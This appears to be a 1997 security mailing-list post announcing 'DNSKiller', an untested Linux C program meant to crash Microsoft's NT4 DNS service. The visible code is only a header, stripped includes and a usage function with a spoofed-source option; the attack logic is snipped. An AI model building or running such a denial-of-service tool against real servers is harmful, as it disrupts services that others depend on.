From: Rikhardur Egilsson 
Subject: [Exploit?] Microsoft DNS denial of service.

I discovered, after having written this, that I don't have access to
an NT4 server, so this program is untested.

I would apreciate if someone could verify if it works and mail me the
results.

It is supposed to crash the Microsoft DNS service as described in a
letter, from Jonathan Wilkins , to the Bugtraq
mailing list on January the 26th.

btw, this is written for Linux.


/****************************************************************************
** DNSKiller
** Demonstrates a bug in Microsoft DNS server.
** Version 0.9-970210 -  I don't know if this works.
** (c) 1997 - Rikhardur Egilsson - rikardur@skyrr.is
*****************************************************************************/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void Usage(char *str) {

        printf("Usage: %s [-s ] -d \n", str);
        printf("       is an optional spoofed 'from' address.\n");
        printf("       is the NT DNS server.\n");
        exit(-1);
}

[snip...]